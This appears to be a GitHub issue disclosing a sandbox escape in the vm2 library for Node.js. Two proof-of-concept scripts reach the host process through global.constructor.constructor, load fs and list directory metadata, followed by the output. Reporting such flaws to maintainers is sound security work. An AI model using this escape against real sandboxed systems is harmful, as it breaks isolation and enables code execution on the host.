-
Notifications
You must be signed in to change notification settings - Fork 319
Closed
Labels
Description
It's possible to escape the VM and perform very undesirable actions.
Found via the following gist in relation to node's native VM: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0
Take the following 2 code examples:
const VM = require('vm2').VM;
const options = {
sandbox: {}
};
const vm = new VM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);and :
const NodeVM = require('vm2').NodeVM;
const options = {
console: 'off',
sandbox: {},
require: false,
requireExternal: false,
requireNative: [],
requireRoot : "./"
};
const vm = new NodeVM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);Running either of these outputs the following:
{ dev: 16777220,
mode: 16877,
nlink: 14,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 476,
blocks: 0,
atime: 2016-06-15T22:20:05.000Z,
mtime: 2016-06-15T22:19:59.000Z,
ctime: 2016-06-15T22:19:59.000Z,
birthtime: 2016-06-09T01:02:12.000Z }
I've validated this behavior on both v4.4.5 and v6.2.1
Reactions are currently unavailable